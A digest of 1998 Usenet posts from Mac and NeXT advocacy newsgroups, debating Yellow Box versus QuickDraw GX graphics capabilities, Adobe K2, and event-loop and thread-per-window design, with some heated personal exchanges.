>about non-affine transforms. GX can do it. QUickTime can do it. Why can't
>YB/ehanced QUickDraw?
>
Why not go all the way to a 4x4 matrix ? Seriously...Once you have
pseudo-prespective you will want the real thing. All engineering projects
ultimatly make a judgment call about the effort to benefit ration for the
problem being solved. You evidently disagree with the judgement that hhas
evidently been made.
>
>>
>>5) Any NSImage or NSBezierPath instance can be clipped by any
>>NSBezierPath
>>including text outlines.
>
>But not with perspective applied. And if a "roll your own" perspective
>transform is applied, no optimizations are possible at the graphics
>primitive level because the graphics primitives don't know about it. No
>built-in text hittesting works because your text graphics engine doesn't
>know about it, either.
>
Get over it. Is this one feature (one of two) that you can not get with the
built in classes and methods. My car is not my favorite color but it gets
me to the office every day. By your reasoning, I should go get my last car
from the junk yard because it was my favorite color. Perhpse I found some
other features of my new car overcame my disapointment about its color.
>>
>>6) The NSColor class encapsulates RGB, BW, BWA, RGBA, CMYK, HSB,
>>Pantone, or
>>custom color definitions. NSColor instances can represent multiple color
>>spaces simultaneously (e.g. RGB and Pantone) and can convert form one
>>color
>>space to another with some limitations. Of special note is NSColor's
>>handling of arbitrary transparency via an alpha channel. Any pixel in a
>>NSImage and any NSBezierPath can be rendered with any NSColor.
>
>Yep. But GX supports color space transformations on the source, destination
>and result images in a single pass on a bitmap. Is this possible with
>NSColor?
I don't know. I never wondered how many passes it took and my company makes
a high end (in some ways higher than K2) graphics app. What difference does
it make ? I recall this topic from the past.
>
>GX supports specifying transfer modes on a per-color channel basis,
>including those applied to a bitmap. Does this work with the graphics
>primitives supplied with enhanced QuickDraw/PDF/DPS?
>
If you want or need to do this, the API to access every pixel is avaialable.
Frankly, if you want to do this, no built in methods are going to satisfy
you. Apply any transformation you want to any pixel.
[Deleted]
>>8) NSBezierPaths can be joined, intersected, union-ed, xor-ed, overlapped,
>>differenced, merged, whatever. Any path can be rendered along any other
>>path. Text can be rendered along a path. Interesting line styles can be
>>created by rendering a repeating pattern (a path) along a path. (Note:
>>Apple has not promised this capability. However, my company has already
>>produced the EBUserPath class with all of these capabilities, and so can
>>Apple. Apple has already read our minds and copied our undo, document,
>and
>>ruler, classes. I suspect we have a mole in our organization ;-)
>>
>
>Kool. Does it support hit-testing of the internal pattern as opposed to the
>path the pattern is embedded in?
It is up to the discretion of the person who built the path how and if it
can be hit tested. The default behavior with EBUserPath is to report a
"hit" if the point in question would change color as the result of stroking
the path (including the nested path)
[Deleted]
>
>>
>>10) Users are free to create their own classes and make composites,
>>collections, trees, or whatever out of the Apple provided classes. One
>>example is an object that clips all of its nested children to a path.
>>Another is an object that forces all of its children to render in black
>and
>>white regardless of their color preference. (Note: As currently
>>implemented, binary encodings can not be reconstituted by programs that do
>>not have access to the definitions of all classes encoded. [Otherwise the
>>decoder does not know how many bytes to read] This is not a problem for
>>ubiquitous Apple provided classes but is a problem for custom classes.
>>Fortunately, the UNICODE encodings do not have this limitation.)
>>
>
>GX is a library with a set of predefined objects suitable for use with a
>structured API. Not as nice in this respect, obviously.
Obviously. Creating your own custom objects is very very powerful.
Furthermore, every time you buy an application, all other applications get
more powerful. I purchased "Pixel Magition", installed it, and all of a
suddon, every application could load jpeg images (along with many others).
Edit, Draw, Create, WetPaint, Tailor, WriteUp, Mail, etc. could all handle
all of the new image formats.
[Deleted]
>>
>>All of the objects described above can be rendered into any NSView or any
>>NSImage.
>
>Howabout multiple views simultaneously, both on and offscreen?
>
Not simultaneously unless you have a multi processor machine. To answer the
question I think you were asking, of course. None of the classes mentioned
above have an knowledge or dependency of the View or Window within which
they are rendered. You can certainly render to an NSImage and the render
the same path or whatever to an NSView on screen. Of cource, if you had
even looked at the examples that come with Rhapsody and NeXTstep since
1988, you would know that the silly little Draw.app does exacly this to make
moving the selection more responsive on 68030 machines.
>>
>>Really final note for Mr.. English. All of this has been possible since
>>1988 with NeXTstep and in fact several of my our applications have taken
>>advantage of it. The fact that Mr.. English has stated at one time or
>>another that everything described above is not possible does not change
>the
>>facts.
>
>Really? I said that there was no 2D transform available? I said that there
>was no standard OOP container constructs available? BTW, I was under the
>impression than the NS Bezier class and the geometric arithmetic
>(union/intersection/etc) are new classes and were NOT part of the 1988
>release. I'm also under the impression that much of teh above has evolved
>over the last 10 years and that the current (4.2/pre-Apple) implementation
>of most of these features is far beyond what was available in 1988.
>
NSBezierPath is a formalized, enhansed, and supported version of the
UserPath class provided with the Draw.app example. The notion of
encapsulating the Postscript User Path in a class is mentioned in my
documentation that was printed in 1989. I have certainly been using
Postscript User paths from within a class since 1989.
>
>The Fact that Mr.. English comments out of utter ignorance and still
>>to this day has not bothered to check the facts or heaven forbid try to
>use
>>these features astonishes me.
>
>Given my little dig at your hyperbole about how everything that you
>described was available in 1988, why should your astonishment astonish me?
>
I was utterly serious. Apple is only now providing a supported set of
classes where once only examples with source code were provided. Other
similar examples are NSDocumen and NSUndoManager and NSRulerView. All of
those classes have existed since 1988. Apple is just agreeing to formalize
and support them now. OK, NSColor did not exists until 1990/1991. The
wonderfull thing about the Postscript imaging model that NeXT provided was
that such classes could be built as needed. We all built our own document
classes aided by two good examples (Yapp and Draw) as well oas others. Now
we don't have to do that. Apple is improving, but that does not mean
features did not exist before.
> After typing all of this, I begin to wonder
>>why I waste my time educating potential competitors.
>
>Ah, but you've failed to address issues of handling pre-press in a rational
>manner that incorporates the nested OOP structure of the average
>drawing/painting/DTP app.
Yes I did! I first made several stipulations about interchangable document
formats based on objects. Then I described the objects to interchange. I
even described the potential for custom classes and all maner of collections
trees included. I made the effort to explain in detail how even custom
objects in arbitarty data structures with cycles and conditional encodings
could be used. Any pre-press shop with a text editor can handle these
files. Any pre-press shop with YellowBox can handle them graphically. And
yes, they can seach for text, change spellings, rearreange the entire
document if they want. (I would fire them if they did!)
>
>You also failed to mention that simple perspective is a hot new feature of
>all the latest DTP drawing apps and apparently of the next-generation,
>high-end page layout app from Adobe.
Fine! Fake 3D is the hot thing. Personally, I like real 3D when I create
perspective text and GX could never handle that. I guess GX was useless. I
can think of three 3D programs that let me in-place edit 3D text.
>
>You've failed to address the current limitations of the NSColor object as
>compared to the Ink object of GX. Certainly, as applied to bitmaps, the
>Yellow Box color capability is inadequate when compared to GX's.
>
>And so on.
And so on. I and others have address these rants before. A simple search
with DejaNews will recall conversations in which your ignoance of color
processing shines. I am no expert on high end color processing, but get
real... You can do anything you want to a bit map and color transformations
are the tip of the ice burg. I want to un-sharpen my bit maps. Does GX do
that ? I want my bit maps mapped to the shape of an arbitary 3d polygon.
Can GX do that ? No library will do everything you may ever want to do.
Reread the engineering judgment call sentence above.
>
>Since my purpose is to educate, I'm willing to repeat myself.
>
Ha Ha. You do not even know how much you do not know. I have never
encountered anyone who has persisted in sophomoric ignorance for as many
years in one news group as you have managed.
If your house has windows arranged so that a cool breeze can blow in one
side of the house and out the other, you will next be telling me my house
with air conditioning is inferior to yours because I will never experience
the luxury of direct air flow. I would counter that under certain weather
conditions, I am certainly more comfortable in my home that I would be in
yours. Then you would rant that people have been arranging windows like
yours for 3000 years and it is stupid to loose that capability. I would
reply that sinse instalation of air conditioning, I no loger found that
feature compelling. Then you would say I should hire a contarctor to move
my windows and you can not understand how I keep living in my inferior
house. All the mansions going up these days have blow through windows and
if my house does not have them it can not be a good house. I never said
that certain window arrangements were not desirable. I just said my house
has advantages that make your rants against it seem silly. It is as if you
never lived in a house with air conditioning or bothered to visit one and
try it out.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: The need for 3D perspective in the Carbon API (Was...
Date: 7 Sep 98 15:18:21 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B219A9DB-3BA6C@206.165.43.110>
References: <B2190B06-1EFF4@206.165.43.117>
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nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Michelle L. Buck <buck.erik@mcleod.net> said:
[snipt insults and snipes and so on]
OK, you've convinced me:
I smell bad and my mother dresses me funny.
Not only that, but I'm totally ignorant, yadda, yadda.
But calling my rhetoric and logic "sophomoric" is like saying that Cyrano
has a big nose...
Now, getting back to the question of whether or not end-users would prefer
to be able to apply a simple 3D perspective ala GX, QuickTime and Adobe's
K2, or instead, use the full power of a 3D graphics app when composing text
and 2D graphics, I'll leave you with a few thoughts:
1) most end-users, including most desktop publishing professionals, haven't
a clue how to apply lighting, or other 3D effects, in a pleasing, non-busy,
professional-looking manner. It is an art unto itself that most DTP
professionals haven't mastered because they don't want to and haven't
needed to. On the other hand, most people, including most DTP
professionals, can understand and apply the concept of "tilting the text
away from you like they did in the Star Wars credits and still allow you to
edit it after it is tilted."
2) the GUI control mechanisms for handling a full 3D graphics application
are STILL not as elegant as they could be. It is a major undertaking to
learn to apply the various lighting/scene/camera controls of an application
like Poser or Ray Dream Designer or the like. On the other hand, most users
can easily learn that when the "3D control" is activiated, moving the mouse
around makes the text/2D graphic that they have selected look like it is
tilting at an angle in 3D. I can whip up a simple control for this using GX
itself.
3) The programming/engineering/design issues for fully integrating 3D into
the DTP business are still not fully understood. It takes months or years
to design, letalone implement, a full-blown 3D interface -especially one
designed to work in the DTP industry as the default page-layout interface.
The time it will take Apple to apply this to enhanced QuickDraw (the
underlying graphics engine of the Yellow Box framework in MacOS X) would
delay the release of MacOS X by months or years. Putting it into a
separate, high-end library for use with the Yellow Box is the only sensible
solution.
On the other hand, adding a single column to the 3x2 transform matrix that
the current eQD API defines is literally trivial. You simply inform
developers that the last column, the one controlling the perspective
transform, won't be active in the first release. Trivial stuff -they did it
with QuickTime already. The programming task shouldn't be all THAT
difficult, either. The mathematics involved in the 3x3 "pseudo-3D"
transform isn't exactly rocket science and the issues involved in editing
text and graphics with 3D perspective applied have been solved for GX. The
graphics aspect has also been solved for QuickTime. It's not like Apple
can't do it yet again, in a reasonable time-frame. Regardless of the
engineering diffuculty, Apple needs to define the 3x3 matrix NOW, rather
than later.
3) Finally, you insist that the "pseudo-3D" transform is pretty much
worthless and that YOUR preference is more relevant. I don't think so. Here
is what a reviewer of the preliminary demo of Adobe's K2 DTP app has to say
about the "pseudo-3D" transform (lurkers should recall that GX has done
this for years and that this is automatically part of my $10 HyperCard
shareware thingie because it is ***BUILT INTO*** GX just as I would like to
see it built into enhanced QuickDraw and, by extension, the Yellow Box):
From <http://www.emediaweekly.com/1998/09/07/k2.html>
+++
"Although brief, the demo wowed many graphics professionals, showing a
range of integrated image and text editing features. Product manager Ben
Rotholtz manipulated graphics in an oddly shaped box, displayed multiple
views of a single layout with a Navigator palette, created text links and
showed off a 4,000 percent zoom capability. He concluded with a dramatic
rotation of an entire page in 3D space -- after which text remained
editable."
+++
I remind lurkers, both developers and end-users, that just about every
single capability described above is ALREADY available using the GX API.
I urge you all to contact the Apple Leadership and urge them to incorporate
the GX 3x3 transform matrix into enhanced QuickDraw so that EVERY
Carbonized app and EVERY Yellow Box app, can have this 3D feature -the same
one that GX has had for years.
And, let's not talk about the color space transforms available in GX that
eQD and Yellow Box [currently] lack. Instead, I encourage you all to
download the GXFCN demo stack (currently in 0.09 alpha) when it is released
in version 0.1 alpha in the next few days and play with the color space
transform options, as well as the 3D perspective options, as I get the
human interface working for these powerful technologies (you can already
get an idea what GX 3D means by playing with the 3D perspective demo in the
QuickTime demo in HyperCard 2.4 since QuickTime has the same "pseudo-3D"
transform options as GX and Adobe's K2).
Play with these toys (both the QuickTime perspective in HyperCard and the
upcoming 0.1 alpha GXFCN) and quick as you can, tell Apple that you want
EVERY wordprocessor and spreadsheet and 2D game to have these color and 3D
capabilties.
The 3D, at least, is all-but-trivial-to-add IF you do it from the
beginning, as was done with GX, and SHOULD be done with enhanced
QuickDraw/MacOS Yellow Box graphics. If you try to add them later, it
becomes a nightmare.
It's YOUR platform, folks. You can either request the best in 2D graphics,
or go with what was cutting edge 10 years ago.
[Incidentally, because the end-user has complete control of my GXFCN demo,
the zoom capabilities found in this HyperCard-based thingie will be a
ludicrous 3.2767 MILLION percent, and not just the 4 thousand percent of
the K2 product. Carbon graphics could provide a "jillion" percent zoom
option but you STILL can't get editable text out of Carbon if it has had a
3D perspective applied to it -why not?]
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Adobe K2: Where's the Yellow Box?
Date: Mon, 07 Sep 1998 03:08:51 +0000
Organization: BM
Message-ID: <6t00cr$oct$1@oak.prod.itd.earthlink.net>
References: <6stc1a$137o$1@piglet.cc.uic.edu>
<1998090617102500.NAA17594@ladder01.news.aol.com>
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<6svr1m$oae$1@news.xmission.com>
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>Well, you pompous, kneejerk *ss, I can think of at least _four_ _different_
>NEXTSTEP, OPENSTEP, and/or YB applications that are comparable or _better_.
How would you even know what's in K2 to make that comparison?
Ziya Oz
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Mon, 07 Sep 1998 03:04:20 +0000
Organization: BM
Message-ID: <6t004d$nsn$1@oak.prod.itd.earthlink.net>
References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net>
<WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com>
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rr6013@yahoo.com wrote:
>Yes, I'm adamant that Apple get into Windows.
Very unlikely.
>DOJ should ease Apple's entry
>into Windows ruling MS should bundle more vendors products at start-up.
Not likely. Actually I'd be against DoJ "forcing" MS or any other company t=
o
bundle anything they don't want to.
>I want YB stuff running on Windows.
If Apple's current efforts in market growth and financial stability progres=
s at
this incredible rate, I don't think YB/Win has a bright future.
>> Those who don't really share the value system of Apple
>> will never like its products.
>Oh No... don't dismiss the reality in front of you for your own Walt Disne=
y
>version. Stay with it.
I was stating a fairly historical observation.
>See, that is just too easy =B1=C4elitist to say.
Incidentally, nothing wrong with elitist (=3D discerning) in my book.
>If you accept that premise, the rest of Apple's excercise is left conqueri=
ng
>that portion of the Planet who don't already own a computer and/or can't
>afford one.
Well you're sort of describing the iMac effort, partially. The market for t=
hose
who don't yet have computers dwarfs the one for those who already own one.
>Foundation#3: Buy/license PSION's Epoc OS
Will never happen.
Ziya Oz
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 7 Sep 1998 17:24:33 +1000
Organization: University of Queensland
Message-ID: <6t01js$pdo$1@bunyip.cc.uq.edu.au>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net>
Michael J. Peck <mjpeck@nstar.net> wrote in message
35F3FB6E.DBD5A2FE@nstar.net...
>Stephen Rea wrote:
>
>> > I was about to say, "A computer isn't really like a car at all", but
>> > then I realized that some people actually disagree.
>>
>> Thousands of complicated parts doing ghod know what, and no one cares how
>> they work, just that they do.
>>
>> Yep, sounds pretty simillar.
>
>No, it really doesn't. It's weird that you think so. Cars have thousands
>of parts; computers have perhaps ten. Motherboard, case, power supply,
>video card, monitor, hard drive, floppy drive, sound card, CD-ROM,
>keyboard, mouse, processor, and memory. Okay, 13.
That's just like saying a car has an engine, chassis, gearbox, steering
wheel, axle, tires, lights and windows. Hmm, 8 parts . . .
Computers _are_ thousands of complicated parts doing god knows what - are
you saying you know what every single IC in your case does ?
>
>Speakers, scanner, printer, microphone, NIC, and Zip drive are optional.
So are things like auto transmissions, climate control and stereos.
>
>Do you mean that you don't know what these parts do? You don't know how
>they work?
>
>MJP
From: not@work.bum (BrTe)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 07 Sep 1998 14:19:43 -0700
Organization: home
Message-ID: <not-ya02408000R0709981419430001@news.colorado.edu>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <not-ya02408000R0709980301440001@news.colorado.edu> <6t0qnh$q0s$1@news4.wt.net>
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In article <6t0qnh$q0s$1@news4.wt.net>, "KME" <nospam@nospam.nospam> wrote:
> BrTe wrote in message ...
>
> >you are either an ubergeek with a knowledge base unmatched by the kings of
> >the industry, or a know it all jerk. Since I have never met an ubergeek
> >with that much knowledge in my life, and yet can't throw a stone without
> >hitting a know it all jerk, you can tell where I put the probabilities.
> >
>
> >If you want to prove me wrong, why don't you explain how the motherboard
> >works in *detail*, including chip serial numbers, machine level coding,
> >signal descriptions, bus operations, registers, modes, etc.
>
> Geez, a little rude. I think the guy's point was that any fool can assemble
> a computer from stock parts -- its not hard at all. Try assembling a car
> that way.
The discussion was not about assembling, but rather that just having the
greatest in one thing doesn't automatically get you the best car or the
fastest car. For example, having a huge engine doesn't automatically make
your car the fastest in the world, as the iMac has proven in the analogy
(And certain 80's American sports cars like the old Camaros have proven
going up against tiny little rockets with less power like the Supra, etc.).
The conversation meandered and wound up on how many parts a computer has
compared to a car, etc.
I have a friend who built his Jeep from the ground up from parts he found
at the junkyard (family of mechanics), and it's actually pretty common. BTW
Ever hear of kit cars?
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Tue, 08 Sep 1998 04:21:32 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35F4F71C.307FDC38@nstar.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <6t01js$pdo$1@bunyip.cc.uq.edu.au>
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NNTP-Posting-Date: 7 Sep 1998 20:18:11 GMT
Christopher Smith wrote:
> That's just like saying a car has an engine, chassis, gearbox, steering
> wheel, axle, tires, lights and windows. Hmm, 8 parts . . .
Injectors, distributor, sparkplugs, head gasket, rear main seal, CV
joints, CV boots, muffler, brakes, lights, electrical system, steering
rack, speaker system, radio, fuse box, transmission lever, shocks,
struts, coolant system, wipers, wiper pump, AC pump, oil pump, oil pan,
oil filter, antenna, radiator, fan, air filter, timing belt...
We're just getting started. Automobiles are incredibly complicated.
Besides, component count wasn't the basis of the original statement.
> Computers _are_ thousands of complicated parts doing god knows what - are
> you saying you know what every single IC in your case does ?
Pretty much, yes. I'm not particularly familiar with my hard drive's
ICs, but I'm pretty familiar with the general workings of the stepping
motor, the read/write head, the platters, and the controlling
electronics.
> >Speakers, scanner, printer, microphone, NIC, and Zip drive are optional.
>
> So are things like auto transmissions, climate control and stereos.
Good comparison. For one, optional components on a car are
dealer-installed and normally come in pre-configured packages. For
another, the sale of these options is almost exclusively performed at
during the sale of the automobile. Automobiles are not like computers.
MJP
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 6 Sep 98 23:22:21
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep6232221@slave.doubleu.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
<6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com>
<6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net>
<6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net>
<6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net>
<6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net>
<6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net>
<EyqADA.654@T-FCN.Net> <6snolt$k6i1@odie.mcleod.net> <E
<6spcp6$inq$1@news.cs.tu-berlin.de>
In-reply-to: marcel@cs.tu-berlin.de's message of 4 Sep 1998 18:50:14 GMT
In article <6spcp6$inq$1@news.cs.tu-berlin.de>,
marcel@cs.tu-berlin.de (Marcel Weiher) writes:
maury@remove_this.istar.ca (Maury Markowitz) writes:
>In <6snolt$k6i1@odie.mcleod.net> "Michelle L. Buck" wrote:
>> NeXT should have used the always available -mouseDragged: method
>> of NSResponder instead. By stealing events "out of band" during
>> scrolling, events such as timer events that would have caused
>> animation or whatever are consumed and all non scroll related
>> work stops. Using -mouseDragged: instead would have avoided
>> this.
>
> Ok, why didn't they do this then? Is this something we should
> lobby for?
I think one reason was performance. Keeping a view focused and
getting events straight as they come in used to be significantly
faster than having the full event-handling + view-updating
machinery invoked, at least on '040 hardware (and so probably on
the original '030ies as well :-)
I agree, performance was almost certainly the overriding factor.
Beyond that, though, I've written enough event subloops to know that
the code to handle mouse-tracking as an implicit loop (using
-mouseDragged:) versus an explicit loop (in -mouseDown:) is almost
invariably hairy as hell. It's not so much the simple versions that
get you, it's when there's a bit is interesting stuff that occurs as
the drag progresses. Even a simple tracking loop has quite a bit of
state on the stack - a moderately complex tracking loop can have a
couple times that much state, and pushing that state out into a
persistent object is _harsh_.
Heck, I've had explicit tracking loops which had enough code that I
was uncomfortable having it all in a single method, and I was
hard-pressed to break them up into smaller bits.
Consider a browser event loop. Single-click select, double-click
calls the action, click-drag does a multiple select, Control-drag
might drag the selected entries around on the list for ordering,
Command-drag might drag the selected entries off the list for
drag&drop. With an explicit event subloop, this is all relatively
straightforward, albeit boring. With an implicit subloop, there are a
couple of variants to handle (Control, no Control? Command, no
Command?) and there is non-obvious state to propagate (click-drag has
to propagate the current pointer position forward to the next
-mouseDragged: event so that it can invert the selection status of the
elements dragged over). This is all much easier to handle if it's all
right there, and a _ton_ easier to debug (because you can step through
it top to bottom).
[One might argue "If it's really that complex, why are you putting it
in there?" Well, I'd rather be able to say to the client "Hard but
doable" over "Are you out of your *****'ing mind?" :-),]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 6 Sep 98 22:41:59
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep6224159@slave.doubleu.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
<6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com>
<6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net>
<6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net>
<6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net>
<6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net>
<6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net>
<6sn7u7$nq3$1@nnrp1.dejanews.com>
In-reply-to: quinlan@intergate.bc.ca's message of Thu, 03 Sep 1998 23:15:19 GMT
In article <6sn7u7$nq3$1@nnrp1.dejanews.com>,
quinlan@intergate.bc.ca writes:
In article <6smt8o$n2s$1@news.spacelab.net>,
"Charles W. Swiger" <chuck@codefab.com> wrote:
> Each window does get the opportunity to handle its own events as
> a normal part of the responder chain under YB. I strongly do not
> agree that the YB should force every window to have a seperate
> thead. YB should support that design if a developer wishes to do
> so, of course, but that's not the same thing.
Why not? What is the down side of having a thread for every window?
The obvious upside is a better user experience and having a single
way of writing event management code.
Having a thread per window forces extra overhead (for threading and
for synchronization). Thread synchronization adds extra potential for
bugs to creep in. These are doubly onerous for those apps that can't
make use of the advantages of multiple threads, because now they pay a
performance penalty and a robustness penalty for no gain at all.
My favorite reason why to not force thread-per-window is that it
doesn't necessarily solve all your multi-threading problems _anyhow_.
Consider, for instance, printing. With thread-per-window, you'd get
multi-threaded printing automatically, right? Only problem is, you
can use other windows while one window prints - but thread-per-window
doesn't let you use the window who's document is being printed! For
that, you have to roll your own.
Likewise for saving, or any other long-term operation.
Thread-per-window keeps long-running operations in different windows
from interfering with each other if you assume that necessary
synchronization is done right. But it doesn't keep the window's own
long-running operationgs from interfering with use of the window
unless you do something special, at which point it's no longer
thread-per-window that you're pushing.
[I'm not arguing against _allowing_ thread-per-window, I'm arguing
against _requiring_ thread-per-window. I'd give someone else's right
arm to be able to do thread-per-window in a reasonably simple fashion
under OpenStep. Looks like MacOS X will probably have something
reasonable in this area.]
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 6 Sep 98 23:30:59
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep6233059@slave.doubleu.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
<6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com>
<6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net>
<6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net>
<6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net>
<6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net>
<6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net>
<EyqADA.654@T-FCN.Net> <6so6h0$t7o$1@nnrp1.dejanews.com>
<Eyrrwt.GMG@T-FCN.Net> <6spsuq$6t0$1@nnrp1.dejanews.com>
In-reply-to: quinlan@intergate.bc.ca's message of Fri, 04 Sep 1998 23:26:17 GMT
In article <6spsuq$6t0$1@nnrp1.dejanews.com>,
quinlan@intergate.bc.ca writes:
In article <Eyrrwt.GMG@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> But I do have some performance concerns after seeing some
> examples of what goes wrong on the Be side. However, does anyone
> know if the Be's threads for UI objects are LWP's or userthreads?
> There's no information on Be's site about this, and if they are
> using LWP's or kernel threads then the problem is the
> implementation rather than any theoretical issue.
AFAIK, the only real problem with the BeOS window threading system
is that each thread is given 256K of stack. That can really eat up
your logical memory space if you have a lot of threads.
You could create a thread to handle an event, rather than having a
thread waiting for an event. This has some nice results. You only
need as many threads as you have currently dispatched events. You can
recycle old threads that have already handled their events. You may
not require as much stack overhead, depending on what you expect
event-handling threads to do.
This would get you somewhat of the effect of a thread-per-window,
because while you've spawned a thread to handle a window's event, you
could queue new events for that window for the thread to eat (as in a
scroller drag), or to be delivered after the thread exits.
If the thread wants to embark on a long-running operation like a Save
or Print, it could do whatever quick setup it needed, and then call a
method to remove the "Queue events" flag on the window. Then it goes
off an performs the Save or whatever, and the event manager continues
to deliver new events to the window by spawning a new thread.
[Actually, nevermind, that last might be better done by having the
event-handling thread explicitely spawn a new thread to handle the
long-running operation. That way it could arrange for a more
appropriate stack size and any other necessary environment
adjustments,]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 6 Sep 98 22:58:22
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep6225822@slave.doubleu.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
<6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com>
<6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net>
<6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net>
<6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net>
<6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net>
<6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net>
<6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net>
